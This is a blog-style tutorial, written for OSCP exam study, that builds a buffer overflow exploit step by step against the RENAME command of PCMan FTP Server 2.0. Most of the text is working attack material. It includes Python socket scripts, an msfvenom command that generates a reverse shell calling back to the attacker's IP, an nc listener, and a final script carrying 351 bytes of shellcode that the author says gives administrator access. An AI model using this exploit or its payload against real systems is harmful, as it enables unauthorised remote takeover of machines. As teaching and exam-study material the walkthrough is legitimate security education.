What is a Buffer Overflow?
Simply put, a buffer overflow occurs when inputted data occupies more space in memory than allocated. The excess data may overwrite adjacent memory locations, potentially altering the state of the application.
A Buffer overflow can be leveraged by an attacker with a goal of modifying a computer’s memory to undermine or gain control of the application and in turn, the asset.

While buffer overflows are decreasing in popularity due to the advanced security controls implemented in today’s modern operating system, it’s still a necessary skill for those attempting the OSCP course. This listed walkthrough is intended to help guide those soon-to-be security professionals as it did myself.
Walkthrough Scenario
While performing a penetration test, an attacker identified an FTP server installed and running on a target asset. Quick Google searches identified that the FTP server, PCMan FTP Server 2.0, was identified as (potentially) vulnerable to a remote buffer overflow attack. The penetration tester downloaded the application using this Exploit-DB Link, and installed it on a Windows 7 VM, designed for testing. For buffer overflow testing purposes, the penetration tester uses Immunity Debugger.
1. Fuzzing the Application
First, we manipulate the proof-of-concept (POC) code found online to simply send 5000 “A” characters to the application.
#!/usr/bin/python import socket import sys #1. Fuzzing the Application payload = "A" * 5000 #Remote Connection to Target PCMan FTP Server s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) connect=s.connect(('192.168.10.129',21)) #Sending & Receiving U s.recv(1024) s.send('USER anonymous\r\n') s.recv(1024) s.send('PASS anonymous\r\n') s.recv(1024) s.send('RENAME ' + payload + '\r\n') s.close()
As we can see from the following image, our “payload” that sent 5000 “A” characters (HEX value of \x41), successfully overwrote multiple memory registers, including the kahuna of memory registers, EIP. The EIP register, also known as the Instruction Pointer, tells the running application what address in memory to execute next. So if we control EIP, we essentially control where the application points to in memory… maybe some shellcode?
We’re not going to spend time discussing what each register is or how they’re used in this post, for more information on x64 and x86 memory registers check out this Wiki page.
Outcome: We Overflow EIP, and can manipulate ESP, and ESI.
2. Unique Pattern Creation
The next step can be completed in many different ways, from using Immunity Debugger plugin, Mona, to creating unique patterns online or using Kali’s built-in pattern_create.rb. For the purpose of this exercise, we’ll utilize the Immunity Debugger plugin, Mona.
Using the search bar located at the bottom left of Immunity Debugger, enter “!mona pattern_create 5000“. This will create a unique string of 5000 characters. Copy the unique string and paste it in your custom python payload as shown below.
#!/usr/bin/python import socket import sys #2. Unique Pattern Creation payload = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0[snip-snip]j6Gj7Gj8Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk" #Remote Connection to Target PCMan FTP Server s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) connect=s.connect(('192.168.10.129',21)) #Sending & Receiving U s.recv(1024) s.send('USER anonymous\r\n') s.recv(1024) s.send('PASS anonymous\r\n') s.recv(1024) s.send('RENAME ' + payload + '\r\n') s.close()
After sending the python payload over to our Windows 7 testing VM, we see the following result.
Outcome: EIP has been replaced with a unique value of “43386F43“.
3. Unique Pattern Offset
The purpose of this step is to identify our pattern offset, or in simpler terms, where in memory do we start controlling EIP? Again, there are a number of tools that can help us identify our offset, but we’re going to use Mona again. Back on Immunity Debugger, type “!mona patter_offset 43386F43″.
Outcome: Pattern match found at position “2004“.
4. Confirm EIP Offset Location
Before getting too excited, we need to confirm our EIP offset location. To accomplish this, we need to adjust our 5000 character payload. First, we’ll send 2004 “A”s (offset location identified in step 3), following by 4 “B”s, and finally, while keeping our original payload length the same, we’ll send 2992 “C”s (5000-(2004+4)).
#!/usr/bin/python import socket import sys #4. Confirm EIP Offset Location payload = "A" * 2004 + "B" * 4 + "C" * (5000-(2004+4)) #Remote Connection to Target PCMan FTP Server s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) connect=s.connect(('192.168.10.129',21)) #Sending & Receiving U s.recv(1024) s.send('USER anonymous\r\n') s.recv(1024) s.send('PASS anonymous\r\n') s.recv(1024) s.send('RENAME ' + payload + '\r\n') s.close()
Ahhh yeah! The following image proves our POC. The 4 “B”s (HEX value of \x42) we sent right after our identified offset is shown in the EIP field. Remember, the EIP register points to the next address in memory.
Outcome: Confirmed EIP control.
5. Identify Bad Characters
Before we can create our shellcode, we need to target the application’s bad HEX characters. This process can be automated but for the purpose of this exercise, we’ll be completing it manually. With our bad characters loaded into our python payload, it’s time to start eliminating the HEX values that don’t continue the expected ascending character sequence (00-01-02-03-04-XX).
import socket import sys #5. Identify Bad Characters badcharacters = "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" payload = "A" * 2004 + "B" * 4 + badcharacters + "C" * (5000-(2004+4+255)) #Remote Connection to Target PCMan FTP Server s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) connect=s.connect(('192.168.10.129',21)) #Sending & Receiving U s.recv(1024) s.send('USER anonymous\r\n') s.recv(1024) s.send('PASS anonymous\r\n') s.recv(1024) s.send('RENAME ' + payload + '\r\n') s.close()
Moving over to Immunity Debugger, we need to right-click our ESI registry (where all our “A” characters are present) and select “Follow in Dump”.
In the HEX dump (located in the bottom left pane of Immunity Debugger), we need to locate our offset control (4 “B”s). As shown in the following image, we identify our initial padding (2004 “A”s), our offset control, then a string of random characters. In this example, HEX value “0D” follows right after HEX value “42” (B), where we should be seeing HEX value “00” (ascending order). We have our first bad character!
Now we need to adjust our python payload by removing “\x00” from the bad characters list and run it again, completing the same exercise. Notice that after removing “\x00” from the bad characters list, the numbers ascend properly. That is until we hit our second bad character, HEX value “0A”.
Third times a charm right? Adjust the python payload again, this time by removing “\x0a”, and send the payload back to the testing VM. Looking at the result below, we see characters ascend until they hit HEX value “0D”. We have another bad character!
Last time I promise! Let’s send our python payload after we remove our latest bad character, “0D”. Moving over to Immunity Debugger, notice anything different? Our long string of “A”s are no longer present in our registers pane beside the ESI register. That seems like a sign of good things to come! Moving down to the HEX dump, we finally see our ascending bad characters string (except for the ones we removed).
Outcome: Bad characters identified are “\x00\x0a\x0d“.
6. Identify Registry JMP Point
Before we can send our malicious payload, we need to use our EIP control capabilities to point somewhere in memory where we have ample space to execute our shellcode. Being able to point somewhere specific in memory is also known as jumping (JMP). As identified in step 1, we have the ability to corrupt the ESP register. For the purpose of this exercise, we’re going to look for a JMP ESP execution point in memory.
Follow these simple steps to identify executable modules, and JMP ESP addresses:
a) Immunity Debugger -> View -> Executables Modules
b) Pick a module, any module! We’re going to use USER32.dll
c) Let’s find the corresponding JMP ESP by using Mona: “!mona jmp -r esp -m user32.dll”
d) Document JMP ESP result
Outcome: JMP ESP location identified at “0x7dc7fcdb“.
7. Test JMP ESP Control with Breakpoint
Now, we most likely have the proper JMP ESP memory expression, but we should run a quick test to ensure our shellcode will properly execute.To accomplish this, we need to head over to Immunity Debugger and perform the following steps:
a) Immunity Debugger -> CTRL + G (Enter Memory Expression)
b) Enter the JMP ESP memory expression observed in step 6 – “0x7dc7fcdb”
c) To create a breakpoint at that expression, press “F2” (Expression will be highlighted)
Head back over to Kali and make some quick edits to your python payload. Be sure to add the JMP ESP memory expression (formatted in Little Endian), followed by some NOP (HEX value of \x90) commands to ensure our payload lands and controls the specific location in memory we want it to.
#!/usr/bin/python import socket import sys #7. Test JMP ESP Control with Breakpoint payload = 'A'*2004 + '\xdb\xfc\xc7\x7d' + '\x90' * 16 + 'C'*(5000-(2004+4+16)) #Remote Connection to Target PCMan FTP Server s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) connect=s.connect(('192.168.10.129',21)) #Sending & Receiving U s.recv(1024) s.send('USER anonymous\r\n') s.recv(1024) s.send('PASS anonymous\r\n') s.recv(1024) s.send('RENAME ' + payload + '\r\n') s.close()
Since we added a breakpoint into Immunity Debugger, the program won’t crash immediately as it’s waiting for us to either “Step Into” (F7) the application, one memory expression at a time, or “Run” (F9) the application, completing the crash. We want to “Step Into” our program to view our NOPs, followed by our padding of “C”s (HEX value of \x43), which will ultimately be replaced by our shellcode.
Outcome: We successfully “Step Into” our NOPs.
8. Create Shellcode using MSFVenom
It’s time to create our shellcode and add it to our python payload!
Make sure you know your basic MSFVenom commands. After all the work put into fuzzing and working your way through the vulnerable application, the last thing you want to do is make a silly mistake at this point. Here are some quick tips when creating your shellcode:
a) Choose the correct payload (Staged VS Unstagged, Metasploit Handler VS NC Handler)
b) Remember to add your bad characters!
c) Select which format the payload will be displayed using
#8. Create Shellcode Using MSFVenom msfvenom -p windows/shell_reverse_tcp LHOST=192.168.10.132 LPORT=3163 -b "\x00\x0a\x0d" -f c
Outcome: Shellcode with omitted bad characters
9. Start Call Home Listener
For the purposes of this walkthrough, I decided to use an unstaged Windows reverse shell payload, allowing me to receive a call home using a simple tool like NC. The only step needed here is to open a second Terminal window and listen on the port documented in step 8.
#9. Start Call Home Listener nc -lvp 3163
Outcome: Reverse shell handler listening & waiting for call-home
10. Add Shellcode, Execute & Wait
Now, we finally get to build our puzzle! Let’s take a quick look at what we have in our final python payload delivery. We moved the variables around to accompany the long 351-byte shellcode, starting with “payload_before“. This variable contains our initial padding, followed by our JMP ESP value, and our NOPs. Next, the “shellcode” variable consists of our… well, shellcode. Finally, the “payload_after” contains another padded value, maintaining our original fuzzing value of 5000.
#!/usr/bin/python import socket import sys #10. Add Shellcode, Execute & Wait payload_before = 'A'*2004 + '\xdb\xfc\xc7\x7d' + '\x90'*16 shellcode = '\xdb\xd6\xd9\x74\x24\xf4\x5a\x2b\xc9\xb1\x52\xbe\xb5\xdc\x7b\xf1\x31\x72\x17\x03\x72\x17\x83\x77\xd8\x99\x04\x8b\x09\xdf\xe7\x73\xca\x80\x6e\x96\xfb\x80\x15\xd3\xac\x30\x5d\xb1\x40\xba\x33\x21\xd2\xce\x9b\x46\x53\x64\xfa\x69\x64\xd5\x3e\xe8\xe6\x24\x13\xca\xd7\xe6\x66\x0b\x1f\x1a\x8a\x59\xc8\x50\x39\x4d\x7d\x2c\x82\xe6\xcd\xa0\x82\x1b\x85\xc3\xa3\x8a\x9d\x9d\x63\x2d\x71\x96\x2d\x35\x96\x93\xe4\xce\x6c\x6f\xf7\x06\xbd\x90\x54\x67\x71\x63\xa4\xa0\xb6\x9c\xd3\xd8\xc4\x21\xe4\x1f\xb6\xfd\x61\xbb\x10\x75\xd1\x67\xa0\x5a\x84\xec\xae\x17\xc2\xaa\xb2\xa6\x07\xc1\xcf\x23\xa6\x05\x46\x77\x8d\x81\x02\x23\xac\x90\xee\x82\xd1\xc2\x50\x7a\x74\x89\x7d\x6f\x05\xd0\xe9\x5c\x24\xea\xe9\xca\x3f\x99\xdb\x55\x94\x35\x50\x1d\x32\xc2\x97\x34\x82\x5c\x66\xb7\xf3\x75\xad\xe3\xa3\xed\x04\x8c\x2f\xed\xa9\x59\xff\xbd\x05\x32\x40\x6d\xe6\xe2\x28\x67\xe9\xdd\x49\x88\x23\x76\xe3\x73\xa4\xb9\x5c\x71\xb0\x52\x9f\x85\xb4\xf9\x16\x63\xae\xed\x7e\x3c\x47\x97\xda\xb6\xf6\x58\xf1\xb3\x39\xd2\xf6\x44\xf7\x13\x72\x56\x60\xd4\xc9\x04\x27\xeb\xe7\x20\xab\x7e\x6c\xb0\xa2\x62\x3b\xe7\xe3\x55\x32\x6d\x1e\xcf\xec\x93\xe3\x89\xd7\x17\x38\x6a\xd9\x96\xcd\xd6\xfd\x88\x0b\xd6\xb9\xfc\xc3\x81\x17\xaa\xa5\x7b\xd6\x04\x7c\xd7\xb0\xc0\xf9\x1b\x03\x96\x05\x76\xf5\x76\xb7\x2f\x40\x89\x78\xb8\x44\xf2\x64\x58\xaa\x29\x2d\x68\xe1\x73\x04\xe1\xac\xe6\x14\x6c\x4f\xdd\x5b\x89\xcc\xd7\x23\x6e\xcc\x92\x26\x2a\x4a\x4f\x5b\x23\x3f\x6f\xc8\x44\x6a' payload_after = 'C'*(5000-(2004+4+16+351)) #Remote Connection to Target PCMan FTP Server s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) connect=s.connect(('192.168.10.129',21)) #Sending & Receiving U s.recv(1024) s.send('USER anonymous\r\n') s.recv(1024) s.send('PASS anonymous\r\n') s.recv(1024) s.send('RENAME ' + payload_before + shellcode + payload_after + '\r\n') s.close()
Full Send! After 10 or so seconds, we get a call-home and have gained Administrative access on our target computer via PCMan FTP Server’s RENAME buffer overflow vulnerability.
Outcome: Reverse Shell Access Granted as Administrator
Conclusion
After battling through many buffer overflow machines while taking my OSCP – and failing each and every one of them, I knew I needed to create a listed formula. While not perfect, it structured my attack process and more often than not, returned successful shells.
I hope that this walkthrough can be helpful for those taking their OSCP, as it helped me face the daunting buffer overflow exam question.
Thanks for reading! Until next time!